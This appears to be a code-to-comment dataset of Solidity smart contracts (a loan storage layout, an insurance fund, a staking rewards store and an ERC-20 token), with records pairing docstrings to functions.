(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(localResults.newTotalSupply_ProtocolCollateralAsset, localResults.currentSupplyBalance_LiquidatorCollateralAsset, supplyBalance_LiquidatorCollateralAsset.principal);
| 2,476,789
|
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/* $$\ $$\
$$ | $$ |
$$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$ |
$$ __$$\ $$ __$$\ $$ _____|\_$$ _| $$ | $$ |$$ __$$\ $$ __$$\ \____$$\ $$ |
$$ | $$ |$$ / $$ |$$ / $$ | $$ | $$ |$$ | \__|$$ | $$ | $$$$$$$ |$$ |
$$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ | $$ |$$ __$$ |$$ |
$$ | $$ |\$$$$$$ |\$$$$$$$\ \$$$$ |\$$$$$$ |$$ | $$ | $$ |\$$$$$$$ |$$ |
\__| \__| \______/ \_______| \____/ \______/ \__| \__| \__| \_______|\__|
*/
pragma solidity 0.8.1;
import {LibDiamond} from "./LibDiamond.sol";
import {LibMeta} from "./LibMeta.sol";
struct LoanAttributes {
address owner;
address loanAddress;
address bankAddress;
uint256 bankID;
address bankPoolAddress;
address bankOwnerAddress;
address loanTokenAddress;
uint256 loanTokenAmount;
address collateralTokenAddress;
uint256 loanInterestRate; // represented in APY
uint256 loanDuration; // in seconds
uint256 loanDurationMin; // min loan duration in seconds
uint256 loanStartTime; // capture block timestamp when loan collateral has been deposited
uint256 loanStopTime; // loanStartTime + loanDuration
uint256 loanMinCloseTime; // loanStartTime + loanDurationMin
uint256 collateralizationRate; // the required minimum collateral, as a percentage of loan token amount
uint256 collateralSwapSlippage; // used to calculate amountOutMin on-chain (not advised by uniswap v3 team) expressed in basis points -> 20% = 2000, 100% = 10000
uint256 settlementGratuityRate; // a percentage of loan interest, sent to settler in WETH
bool depositedFlag;
bool settledFlag;
bool closedFlag;
// consider adding a minDuration Loan attribute:
// make dynamic, and a function of loan amount, interest, and swap slippage
// so that loan can only be closed manually after minDuration
// in order to gaurantee that interest accrued covers
// Bank's returned USDC lost due to collateral swap slippage
}
struct CreateLoanParams {
uint256 bankID;
uint256 loanAmount;
}
struct BankAttributes {
address owner;
address bankAddress;
address bankPoolAddress;
address loanTokenAddress;
address collateralTokenAddress;
uint256 availableLoanAmount;
uint256 loanInterestRate;
uint256 loanDuration;
uint256 loanDurationMin;
uint256 collateralizationRate;
uint256 collateralSwapSlippage;
uint256 settlementGratuityRate;
bool depositedFlag;
bool closedFlag;
bool pendingCloseFlag;
uint32[] loanIDs;
}
struct AppStorage {
mapping (uint256 => LoanAttributes) loans;
mapping(address => uint32[]) ownerLoanIDs;
uint32[] loanIDs;
mapping(uint256 => address) approved;
mapping(address => mapping(address => bool)) operators;
mapping(address => mapping(uint256 => uint256)) ownerLoanIDIndexes;
mapping(uint256 => uint256) loanIDIndexes;
address bankDiamond;
address rewardsAddress;
address treasuryAddress;
address noctAddress;
address noctStakingAddress;
uint256 platformRate;
uint256 treasuryFactor;
uint256 bankOwnerRewardsFactor;
uint256 loanOwnerRewardsFactor;
uint256 loanSettlerRewardsFactor;
string loanName;
string loanSymbol;
bytes32 domainSeparator;
address wethAddress;
address uniswapV3SwapRouter;
uint256 loanCounter;
uint256 testDuration;
uint256 initTimestamp;
}
library LibAppStorage {
function diamondStorage() internal pure returns (AppStorage storage ds) {
assembly {
ds.slot := 0
}
}
}
contract Modifiers {
AppStorage internal s;
modifier onlyOwner {
LibDiamond.enforceIsContractOwner();
_;
}
}
|
the required minimum collateral, as a percentage of loan token amount
|
uint256 collateralizationRate;
| 1,810,748
|
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pragma solidity >=0.5.0;
//Interfaces
import './interfaces/IAddressResolver.sol';
import './interfaces/IERC20.sol';
import './interfaces/ISettings.sol';
import './interfaces/IBaseUbeswapAdapter.sol';
//Libraries
import './libraries/SafeMath.sol';
//Inheritance
import './interfaces/IInsuranceFund.sol';
contract InsuranceFund is IInsuranceFund {
using SafeMath for uint;
IAddressResolver public immutable ADDRESS_RESOLVER;
// 0 = halted
// 1 = shortage
// 2 = stable
// 3 = surplus
uint public status;
constructor(IAddressResolver addressResolver) public {
ADDRESS_RESOLVER = addressResolver;
status = 2;
}
/* ========== VIEWS ========== */
/**
* @dev Returns the cUSD and TGEN balance of the insurance fund
* @return (uint, uint, uint) The insurance fund's cUSD balance and TGEN balance
*/
function getReserves() public view override returns (uint, uint) {
address settingsAddress = ADDRESS_RESOLVER.getContractAddress("Settings");
address stableCoinAddress = ISettings(settingsAddress).getStableCoinAddress();
address baseTradegenAddress = ADDRESS_RESOLVER.getContractAddress("BaseTradegen");
return (IERC20(stableCoinAddress).balanceOf(address(this)), IERC20(baseTradegenAddress).balanceOf(address(this)));
}
/**
* @dev Returns the status of the fund (halted, shortage, stable, surplus)
* @return uint Status of the fund
*/
function getFundStatus() public view override returns (uint) {
return status;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @dev Withdraws either cUSD or TGEN from insurance fund; meant to be called by StableCoinStakingRewards contract
* @param amountToWithdrawInUSD Amount of cUSD to withdraw
* @param user Address of user to send withdrawal to
*/
function withdrawFromFund(uint amountToWithdrawInUSD, address user) public override onlyStableCoinStakingRewards {
(uint availableUSD,) = getReserves();
//Withdraw 100% of amount from cUSD reserve if insurance fund is halted
//Throw an error if not enough in cUSD reserve to cover withdrawal amount
if (status == 0)
{
require(availableUSD >= amountToWithdrawInUSD, "InsuranceFund: not enough cUSD reserve to cover withdrawal");
_withdraw(amountToWithdrawInUSD, 0, user);
}
//Try to withdraw 100% of amount from cUSD reserve if insurance fund has shortage
//Withdraw remainder from TGEN reserves
else if (status == 1)
{
uint deficit = (availableUSD < amountToWithdrawInUSD) ? amountToWithdrawInUSD.sub(availableUSD) : 0;
//First withdraw min(cUSD reserve size, amountToWithdrawInUSD) from cUSD reserve
_withdraw(amountToWithdrawInUSD.sub(deficit), 0, user);
//Withdraw remainder from TGEN reserve
if (deficit > 0)
{
_withdraw(0, deficit, user);
}
}
//Withdraw 50% of amount from cUSD reserve if insurance fund is stable
else if (status == 2)
{
_withdraw(amountToWithdrawInUSD.div(2), amountToWithdrawInUSD.div(2), user);
}
//Withdraw 0% of amount from cUSD reserve if insurance fund has surplus
else
{
_withdraw(0, amountToWithdrawInUSD, user);
}
_updateStatus();
}
/* ========== INTERNAL FUNCTIONS ========== */
/**
* @dev Updates the fund's status based on the TGEN reserve relative to target allocation
*/
function _updateStatus() internal {
address settingsAddress = ADDRESS_RESOLVER.getContractAddress("Settings");
uint targetAllocation = ISettings(settingsAddress).getParameterValue("TargetInsuranceFundAllocation");
(, uint amountOfTGEN) = getReserves();
//Halted if TGEN reserve falls below 25% of target allocation
if (amountOfTGEN < targetAllocation.mul(25).div(100))
{
status = 0;
}
//Shortage if TGEN reserve falls below 75% of target allocation
else if (amountOfTGEN < targetAllocation.mul(75).div(100))
{
status = 1;
}
//Stable if TGEN reserve is between 75% and 125% of target allocation
else if (amountOfTGEN < targetAllocation.mul(125).div(100))
{
status = 2;
}
//Surplus if TGEN reserve is above 125% of target allocation
else
{
status = 3;
}
}
/**
* @dev Withdraws from reserves
* @param amountUSD Amount of cUSD to withdraw
* @param amountTGEN Amount of TGEN (in USD) to withdraw
* @param user Address of user to send withdrawal to
*/
function _withdraw(uint amountUSD, uint amountTGEN, address user) internal {
address settingsAddress = ADDRESS_RESOLVER.getContractAddress("Settings");
address stableCoinAddress = ISettings(settingsAddress).getStableCoinAddress();
address baseTradegenAddress = ADDRESS_RESOLVER.getContractAddress("BaseTradegen");
address baseUbeswapAdapterAddress = ADDRESS_RESOLVER.getContractAddress("BaseUbeswapAdapter");
if (amountUSD > 0)
{
IERC20(stableCoinAddress).transfer(user, amountUSD);
}
if (amountTGEN > 0)
{
//Get number of TGEN needed
uint numberOfTGEN = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).getAmountsIn(amountTGEN, baseTradegenAddress, stableCoinAddress);
//Swap TGEN for cUSD
IERC20(baseTradegenAddress).transfer(baseUbeswapAdapterAddress, numberOfTGEN);
uint cUSDReceived = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).swapFromStableCoinPool(baseTradegenAddress, stableCoinAddress, numberOfTGEN, 0);
IERC20(stableCoinAddress).transfer(user, cUSDReceived);
}
}
/* ========== MODIFIERS ========== */
modifier onlyStableCoinStakingRewards() {
require(msg.sender == ADDRESS_RESOLVER.getContractAddress("StableCoinStakingRewards"), "InsuranceFund: only StableCoinStakingRewards can call this function");
_;
}
}
|
* @dev Withdraws from reserves @param amountUSD Amount of cUSD to withdraw @param amountTGEN Amount of TGEN (in USD) to withdraw @param user Address of user to send withdrawal to/Get number of TGEN neededSwap TGEN for cUSD
|
function _withdraw(uint amountUSD, uint amountTGEN, address user) internal {
address settingsAddress = ADDRESS_RESOLVER.getContractAddress("Settings");
address stableCoinAddress = ISettings(settingsAddress).getStableCoinAddress();
address baseTradegenAddress = ADDRESS_RESOLVER.getContractAddress("BaseTradegen");
address baseUbeswapAdapterAddress = ADDRESS_RESOLVER.getContractAddress("BaseUbeswapAdapter");
if (amountUSD > 0)
{
IERC20(stableCoinAddress).transfer(user, amountUSD);
}
if (amountTGEN > 0)
{
uint numberOfTGEN = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).getAmountsIn(amountTGEN, baseTradegenAddress, stableCoinAddress);
IERC20(baseTradegenAddress).transfer(baseUbeswapAdapterAddress, numberOfTGEN);
uint cUSDReceived = IBaseUbeswapAdapter(baseUbeswapAdapterAddress).swapFromStableCoinPool(baseTradegenAddress, stableCoinAddress, numberOfTGEN, 0);
IERC20(stableCoinAddress).transfer(user, cUSDReceived);
}
}
| 15,796,652
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// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "..//utility/Utils.sol";
import "..//utility/Time.sol";
import "..//utility/interfaces/IOwned.sol";
import "..//converter/interfaces/IConverter.sol";
import "./interfaces/IStakingRewardsStore.sol";
/**
* @dev This contract stores staking rewards liquidity and pool specific data
*/
contract StakingRewardsStore is IStakingRewardsStore, AccessControl, Utils, Time {
using SafeMath for uint32;
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
// the supervisor role is used to globally govern the contract and its governing roles.
bytes32 public constant ROLE_SUPERVISOR = keccak256("ROLE_SUPERVISOR");
// the owner role is used to set the values in the store.
bytes32 public constant ROLE_OWNER = keccak256("ROLE_OWNER");
// the manager role is used to manage the programs in the store.
bytes32 public constant ROLE_MANAGER = keccak256("ROLE_MANAGER");
// the seeder roles is used to seed the store with past values.
bytes32 public constant ROLE_SEEDER = keccak256("ROLE_SEEDER");
uint256 private constant MAX_REWARD_RATE = 2**128 - 1;
// the mapping between pool tokens and their respective rewards program information.
mapping(IDSToken => PoolProgram) private _programs;
// the set of participating pools.
EnumerableSet.AddressSet private _pools;
// the mapping between pools, reserve tokens, and their rewards.
mapping(IDSToken => mapping(IReserveToken => PoolRewards)) internal _poolRewards;
// the mapping between pools, reserve tokens, and provider specific rewards.
mapping(address => mapping(IDSToken => mapping(IReserveToken => ProviderRewards))) internal _providerRewards;
// the mapping between providers and their respective last claim times.
mapping(address => uint256) private _providerLastClaimTimes;
/**
* @dev triggered when a program is being added
*
* @param poolToken the pool token representing the rewards pool
* @param startTime the starting time of the program
* @param endTime the ending time of the program
* @param rewardRate the program's rewards rate per-second
*/
event PoolProgramAdded(IDSToken indexed poolToken, uint256 startTime, uint256 endTime, uint256 rewardRate);
/**
* @dev triggered when a program is being removed
*
* @param poolToken the pool token representing the rewards pool
*/
event PoolProgramRemoved(IDSToken indexed poolToken);
/**
* @dev triggered when provider's last claim time is being updated
*
* @param provider the owner of the liquidity
* @param claimTime the time of the last claim
*/
event ProviderLastClaimTimeUpdated(address indexed provider, uint256 claimTime);
/**
* @dev initializes a new StakingRewardsStore contract
*/
constructor() public {
// set up administrative roles.
_setRoleAdmin(ROLE_SUPERVISOR, ROLE_SUPERVISOR);
_setRoleAdmin(ROLE_OWNER, ROLE_SUPERVISOR);
_setRoleAdmin(ROLE_MANAGER, ROLE_SUPERVISOR);
_setRoleAdmin(ROLE_SEEDER, ROLE_SUPERVISOR);
// allow the deployer to initially govern the contract.
_setupRole(ROLE_SUPERVISOR, _msgSender());
}
// allows execution only by an owner
modifier onlyOwner {
_hasRole(ROLE_OWNER);
_;
}
// allows execution only by an manager
modifier onlyManager {
_hasRole(ROLE_MANAGER);
_;
}
// allows execution only by a seeder
modifier onlySeeder {
_hasRole(ROLE_SEEDER);
_;
}
// error message binary size optimization
function _hasRole(bytes32 role) internal view {
require(hasRole(role, msg.sender), "ERR_ACCESS_DENIED");
}
/**
* @dev returns whether the specified pool is participating in the rewards program
*
* @param poolToken the pool token representing the rewards pool
*
* @return whether the specified pool is participating in the rewards program
*/
function isPoolParticipating(IDSToken poolToken) public view override returns (bool) {
PoolProgram memory program = _programs[poolToken];
return program.endTime > time();
}
/**
* @dev returns whether the specified reserve is participating in the rewards program
*
* @param poolToken the pool token representing the rewards pool
* @param reserveToken the reserve token of the added liquidity
*
* @return whether the specified reserve is participating in the rewards program
*/
function isReserveParticipating(IDSToken poolToken, IReserveToken reserveToken)
public
view
override
returns (bool)
{
if (!isPoolParticipating(poolToken)) {
return false;
}
PoolProgram memory program = _programs[poolToken];
return program.reserveTokens[0] == reserveToken || program.reserveTokens[1] == reserveToken;
}
/**
* @dev adds a program
*
* @param poolToken the pool token representing the rewards pool
* @param reserveTokens the reserve tokens representing the liquidity in the pool
* @param rewardShares reserve reward shares
* @param endTime the ending time of the program
* @param rewardRate the program's rewards rate per-second
*/
function addPoolProgram(
IDSToken poolToken,
IReserveToken[2] calldata reserveTokens,
uint32[2] calldata rewardShares,
uint256 endTime,
uint256 rewardRate
) external override onlyManager validAddress(address(poolToken)) {
uint256 currentTime = time();
addPoolProgram(poolToken, reserveTokens, rewardShares, currentTime, endTime, rewardRate);
emit PoolProgramAdded(poolToken, currentTime, endTime, rewardRate);
}
/**
* @dev adds past programs
*
* @param poolTokens pool tokens representing the rewards pool
* @param reserveTokens reserve tokens representing the liquidity in the pool
* @param rewardShares reserve reward shares
* @param startTime starting times of the program
* @param endTimes ending times of the program
* @param rewardRates program's rewards rate per-second
*/
function addPastPoolPrograms(
IDSToken[] calldata poolTokens,
IReserveToken[2][] calldata reserveTokens,
uint32[2][] calldata rewardShares,
uint256[] calldata startTime,
uint256[] calldata endTimes,
uint256[] calldata rewardRates
) external onlySeeder {
uint256 length = poolTokens.length;
require(
length == reserveTokens.length &&
length == rewardShares.length &&
length == startTime.length &&
length == endTimes.length &&
length == rewardRates.length,
"ERR_INVALID_LENGTH"
);
for (uint256 i = 0; i < length; ++i) {
addPastPoolProgram(
poolTokens[i],
reserveTokens[i],
rewardShares[i],
startTime[i],
endTimes[i],
rewardRates[i]
);
}
}
/**
* @dev adds a past program
*
* @param poolToken the pool token representing the rewards pool
* @param reserveTokens the reserve tokens representing the liquidity in the pool
* @param rewardShares reserve reward shares
* @param startTime the starting time of the program
* @param endTime the ending time of the program
* @param rewardRate the program's rewards rate per-second
*/
function addPastPoolProgram(
IDSToken poolToken,
IReserveToken[2] calldata reserveTokens,
uint32[2] calldata rewardShares,
uint256 startTime,
uint256 endTime,
uint256 rewardRate
) private validAddress(address(poolToken)) {
require(startTime < time(), "ERR_INVALID_TIME");
addPoolProgram(poolToken, reserveTokens, rewardShares, startTime, endTime, rewardRate);
}
/**
* @dev adds a program
*
* @param poolToken the pool token representing the rewards pool
* @param reserveTokens the reserve tokens representing the liquidity in the pool
* @param rewardShares reserve reward shares
* @param endTime the ending time of the program
* @param rewardRate the program's rewards rate per-second
*/
function addPoolProgram(
IDSToken poolToken,
IReserveToken[2] calldata reserveTokens,
uint32[2] calldata rewardShares,
uint256 startTime,
uint256 endTime,
uint256 rewardRate
) private {
require(startTime < endTime && endTime > time(), "ERR_INVALID_DURATION");
require(rewardRate > 0, "ERR_ZERO_VALUE");
require(rewardRate <= MAX_REWARD_RATE, "ERR_REWARD_RATE_TOO_HIGH");
require(rewardShares[0].add(rewardShares[1]) == PPM_RESOLUTION, "ERR_INVALID_REWARD_SHARES");
require(_pools.add(address(poolToken)), "ERR_ALREADY_PARTICIPATING");
PoolProgram storage program = _programs[poolToken];
program.startTime = startTime;
program.endTime = endTime;
program.rewardRate = rewardRate;
program.rewardShares = rewardShares;
// verify that reserve tokens correspond to the pool.
IConverter converter = IConverter(payable(IConverterAnchor(poolToken).owner()));
uint256 length = converter.connectorTokenCount();
require(length == 2, "ERR_POOL_NOT_SUPPORTED");
require(
(address(converter.connectorTokens(0)) == address(reserveTokens[0]) &&
address(converter.connectorTokens(1)) == address(reserveTokens[1])) ||
(address(converter.connectorTokens(0)) == address(reserveTokens[1]) &&
address(converter.connectorTokens(1)) == address(reserveTokens[0])),
"ERR_INVALID_RESERVE_TOKENS"
);
program.reserveTokens = reserveTokens;
}
/**
* @dev removes a program
*
* @param poolToken the pool token representing the rewards pool
*/
function removePoolProgram(IDSToken poolToken) external override onlyManager {
require(_pools.remove(address(poolToken)), "ERR_POOL_NOT_PARTICIPATING");
delete _programs[poolToken];
emit PoolProgramRemoved(poolToken);
}
/**
* @dev updates the ending time of a program
* note that the new ending time must be in the future
*
* @param poolToken the pool token representing the rewards pool
* @param newEndTime the new ending time of the program
*/
function setPoolProgramEndTime(IDSToken poolToken, uint256 newEndTime) external override onlyManager {
require(isPoolParticipating(poolToken), "ERR_POOL_NOT_PARTICIPATING");
PoolProgram storage program = _programs[poolToken];
require(newEndTime > time(), "ERR_INVALID_DURATION");
program.endTime = newEndTime;
}
/**
* @dev returns a program
*
* @return the program's starting and ending times
*/
function poolProgram(IDSToken poolToken)
external
view
override
returns (
uint256,
uint256,
uint256,
IReserveToken[2] memory,
uint32[2] memory
)
{
PoolProgram memory program = _programs[poolToken];
return (program.startTime, program.endTime, program.rewardRate, program.reserveTokens, program.rewardShares);
}
/**
* @dev returns all programs
*
* @return all programs
*/
function poolPrograms()
external
view
override
returns (
IDSToken[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
IReserveToken[2][] memory,
uint32[2][] memory
)
{
uint256 length = _pools.length();
IDSToken[] memory poolTokens = new IDSToken[](length);
uint256[] memory startTimes = new uint256[](length);
uint256[] memory endTimes = new uint256[](length);
uint256[] memory rewardRates = new uint256[](length);
IReserveToken[2][] memory reserveTokens = new IReserveToken[2][](length);
uint32[2][] memory rewardShares = new uint32[2][](length);
for (uint256 i = 0; i < length; ++i) {
IDSToken poolToken = IDSToken(_pools.at(i));
PoolProgram memory program = _programs[poolToken];
poolTokens[i] = poolToken;
startTimes[i] = program.startTime;
endTimes[i] = program.endTime;
rewardRates[i] = program.rewardRate;
reserveTokens[i] = program.reserveTokens;
rewardShares[i] = program.rewardShares;
}
return (poolTokens, startTimes, endTimes, rewardRates, reserveTokens, rewardShares);
}
/**
* @dev returns the rewards data of a specific reserve in a specific pool
*
* @param poolToken the pool token representing the rewards pool
* @param reserveToken the reserve token in the rewards pool
*
* @return rewards data
*/
function poolRewards(IDSToken poolToken, IReserveToken reserveToken)
external
view
override
returns (
uint256,
uint256,
uint256
)
{
PoolRewards memory data = _poolRewards[poolToken][reserveToken];
return (data.lastUpdateTime, data.rewardPerToken, data.totalClaimedRewards);
}
/**
* @dev updates the reward data of a specific reserve in a specific pool
*
* @param poolToken the pool token representing the rewards pool
* @param reserveToken the reserve token in the rewards pool
* @param lastUpdateTime the last update time
* @param rewardPerToken the new reward rate per-token
* @param totalClaimedRewards the total claimed rewards up until now
*/
function updatePoolRewardsData(
IDSToken poolToken,
IReserveToken reserveToken,
uint256 lastUpdateTime,
uint256 rewardPerToken,
uint256 totalClaimedRewards
) external override onlyOwner {
PoolRewards storage data = _poolRewards[poolToken][reserveToken];
data.lastUpdateTime = lastUpdateTime;
data.rewardPerToken = rewardPerToken;
data.totalClaimedRewards = totalClaimedRewards;
}
/**
* @dev seeds pool rewards data for multiple pools
*
* @param poolTokens pool tokens representing the rewards pool
* @param reserveTokens reserve tokens representing the liquidity in the pool
* @param lastUpdateTimes last update times (for both the network and reserve tokens)
* @param rewardsPerToken reward rates per-token (for both the network and reserve tokens)
* @param totalClaimedRewards total claimed rewards up until now (for both the network and reserve tokens)
*/
function setPoolsRewardData(
IDSToken[] calldata poolTokens,
IReserveToken[] calldata reserveTokens,
uint256[] calldata lastUpdateTimes,
uint256[] calldata rewardsPerToken,
uint256[] calldata totalClaimedRewards
) external onlySeeder {
uint256 length = poolTokens.length;
require(
length == reserveTokens.length &&
length == lastUpdateTimes.length &&
length == rewardsPerToken.length &&
length == totalClaimedRewards.length,
"ERR_INVALID_LENGTH"
);
for (uint256 i = 0; i < length; ++i) {
IDSToken poolToken = poolTokens[i];
_validAddress(address(poolToken));
IReserveToken reserveToken = reserveTokens[i];
_validAddress(address(reserveToken));
PoolRewards storage data = _poolRewards[poolToken][reserveToken];
data.lastUpdateTime = lastUpdateTimes[i];
data.rewardPerToken = rewardsPerToken[i];
data.totalClaimedRewards = totalClaimedRewards[i];
}
}
/**
* @dev returns rewards data of a specific provider
*
* @param provider the owner of the liquidity
* @param poolToken the pool token representing the rewards pool
* @param reserveToken the reserve token in the rewards pool
*
* @return rewards data
*/
function providerRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken
)
external
view
override
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint32
)
{
ProviderRewards memory data = _providerRewards[provider][poolToken][reserveToken];
return (
data.rewardPerToken,
data.pendingBaseRewards,
data.totalClaimedRewards,
data.effectiveStakingTime,
data.baseRewardsDebt,
data.baseRewardsDebtMultiplier
);
}
/**
* @dev updates provider rewards data
*
* @param provider the owner of the liquidity
* @param poolToken the pool token representing the rewards pool
* @param reserveToken the reserve token in the rewards pool
* @param rewardPerToken the new reward rate per-token
* @param pendingBaseRewards the updated pending base rewards
* @param totalClaimedRewards the total claimed rewards up until now
* @param effectiveStakingTime the new effective staking time
* @param baseRewardsDebt the updated base rewards debt
* @param baseRewardsDebtMultiplier the updated base rewards debt multiplier
*/
function updateProviderRewardsData(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 rewardPerToken,
uint256 pendingBaseRewards,
uint256 totalClaimedRewards,
uint256 effectiveStakingTime,
uint256 baseRewardsDebt,
uint32 baseRewardsDebtMultiplier
) external override onlyOwner {
ProviderRewards storage data = _providerRewards[provider][poolToken][reserveToken];
data.rewardPerToken = rewardPerToken;
data.pendingBaseRewards = pendingBaseRewards;
data.totalClaimedRewards = totalClaimedRewards;
data.effectiveStakingTime = effectiveStakingTime;
data.baseRewardsDebt = baseRewardsDebt;
data.baseRewardsDebtMultiplier = baseRewardsDebtMultiplier;
}
/**
* @dev seeds specific provider's reward data for multiple providers
*
* @param poolToken the pool token representing the rewards pool
* @param reserveToken the reserve token in the rewards pool
* @param providers owners of the liquidity
* @param rewardsPerToken new reward rates per-token
* @param pendingBaseRewards updated pending base rewards
* @param totalClaimedRewards total claimed rewards up until now
* @param effectiveStakingTimes new effective staking times
* @param baseRewardsDebts updated base rewards debts
* @param baseRewardsDebtMultipliers updated base rewards debt multipliers
*/
function setProviderRewardData(
IDSToken poolToken,
IReserveToken reserveToken,
address[] memory providers,
uint256[] memory rewardsPerToken,
uint256[] memory pendingBaseRewards,
uint256[] memory totalClaimedRewards,
uint256[] memory effectiveStakingTimes,
uint256[] memory baseRewardsDebts,
uint32[] memory baseRewardsDebtMultipliers
) external onlySeeder validAddress(address(poolToken)) validAddress(address(reserveToken)) {
uint256 length = providers.length;
require(
length == rewardsPerToken.length &&
length == pendingBaseRewards.length &&
length == totalClaimedRewards.length &&
length == effectiveStakingTimes.length &&
length == baseRewardsDebts.length &&
length == baseRewardsDebtMultipliers.length,
"ERR_INVALID_LENGTH"
);
for (uint256 i = 0; i < length; ++i) {
ProviderRewards storage data = _providerRewards[providers[i]][poolToken][reserveToken];
uint256 baseRewardsDebt = baseRewardsDebts[i];
uint32 baseRewardsDebtMultiplier = baseRewardsDebtMultipliers[i];
require(
baseRewardsDebt == 0 ||
(baseRewardsDebtMultiplier >= PPM_RESOLUTION && baseRewardsDebtMultiplier <= 2 * PPM_RESOLUTION),
"ERR_INVALID_MULTIPLIER"
);
data.rewardPerToken = rewardsPerToken[i];
data.pendingBaseRewards = pendingBaseRewards[i];
data.totalClaimedRewards = totalClaimedRewards[i];
data.effectiveStakingTime = effectiveStakingTimes[i];
data.baseRewardsDebt = baseRewardsDebts[i];
data.baseRewardsDebtMultiplier = baseRewardsDebtMultiplier;
}
}
/**
* @dev updates provider's last claim time
*
* @param provider the owner of the liquidity
*/
function updateProviderLastClaimTime(address provider) external override onlyOwner {
uint256 time = time();
_providerLastClaimTimes[provider] = time;
emit ProviderLastClaimTimeUpdated(provider, time);
}
/**
* @dev returns provider's last claim time
*
* @param provider the owner of the liquidity
*
* @return provider's last claim time
*/
function providerLastClaimTime(address provider) external view override returns (uint256) {
return _providerLastClaimTimes[provider];
}
}
|
* @dev removes a program @param poolToken the pool token representing the rewards pool/
|
function removePoolProgram(IDSToken poolToken) external override onlyManager {
require(_pools.remove(address(poolToken)), "ERR_POOL_NOT_PARTICIPATING");
delete _programs[poolToken];
emit PoolProgramRemoved(poolToken);
}
| 13,006,093
|
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] |
pragma solidity ^0.4.23;
// File: contracts/erc/erc20/ERC20Interface.sol
/**
* @title ERC-20 Token Standard.
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md.
*/
contract ERC20Interface {
/**
* @dev MUST trigger when tokens are transferred, including zero value transfers.
* @dev A token contract which creates new tokens SHOULD trigger a `Transfer` event
* with the `_from` address set to `0x0` when tokens are created.
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
/**
* @dev MUST trigger on any successful call to `approve(address _spender, uint256 _value)`.
*/
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/**
* @notice Returns the total token supply.
* @return The supply.
*/
function totalSupply() public view returns (uint256 _supply);
/**
* @notice Returns the balance of an account with address `_owner`.
* @return The account balance.
*/
function balanceOf(address _owner) public view returns (uint256 _balance);
/**
* @notice Transfers `_value` amount of tokens to address `_to`.
*
* @param _to The address of the recipient.
* @param _value The amount of token to be transferred.
*
* @dev The function MUST fire the `Transfer` event.
* @dev The function SHOULD throw if the `_from` account balance does not have enough tokens to spend.
* @dev Transfers of 0 values MUST be treated as normal transfers and fire the `Transfer` event.
*
* @return Whether the transfer was successful or not.
*/
function transfer(address _to, uint256 _value) public returns (bool _success);
/**
* @notice Transfers `_value` amount of tokens from address `_from` to address `_to`.
*
* @param _from The address of the sender.
* @param _to The address of the recipient.
* @param _value The amount of token to be transferred.
*
* @dev The `transferFrom` method is used for a withdraw workflow,
* allowing contracts to transfer tokens on your behalf.
* This can be used for example to allow a contract to transfer tokens on your behalf
* and/or to charge fees in sub-currencies.
* @dev The function MUST fire the `Transfer` event.
* @dev The function SHOULD throw unless the `_from` account
* has deliberately authorized the sender of the message via some mechanism.
* @dev Transfers of 0 values MUST be treated as normal transfers and fire the `Transfer` event.
*
* @return Whether the transfer was successful or not.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success);
/**
* @notice Allows `_spender` to withdraw from your account multiple times, up to the `_value` amount.
* If this function is called again it overwrites the current allowance with `_value`.
*
* @param _spender The address of the account able to transfer the tokens.
* @param _value The amount of tokens to be approved for transfer.
*
* @dev To prevent attack vectors like the one described in
* https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/
* and discussed in
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729,
* clients SHOULD make sure to create user interfaces in such a way
* that they set the allowance first to 0 before setting it to another value for the same spender.
* THOUGH The contract itself shouldn't enforce it,
* to allow backwards compatibility with contracts deployed before.
*
* @return Whether the approval was successful or not.
*/
function approve(address _spender, uint256 _value) public returns (bool _success);
/**
* @notice Returns the amount which `_spender` is still allowed to withdraw from `_owner`.
*
* @param _owner The address of the account owning tokens.
* @param _spender The address of the account able to transfer the tokens.
*
* @return Amount of remaining tokens allowed to spent.
*/
function allowance(address _owner, address _spender) public view returns (uint256 _remaining);
}
// File: zeppelin/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/erc/erc20/ERC20.sol
/**
* @title An implementation of the ERC-20 Token Standard.
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md.
*/
contract ERC20 is ERC20Interface {
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping (address => uint256) internal _balance;
mapping (address => mapping (address => uint256)) internal _allowed;
/**
* @notice Returns the total token supply.
* @return The supply.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @notice Returns the balance of an account with address `_owner`.
* @return The account balance.
*/
function balanceOf(address _owner) public view returns (uint256) {
return _balance[_owner];
}
/**
* @notice Transfers `_value` amount of tokens to address `_to`.
*
* @param _to The address of the recipient.
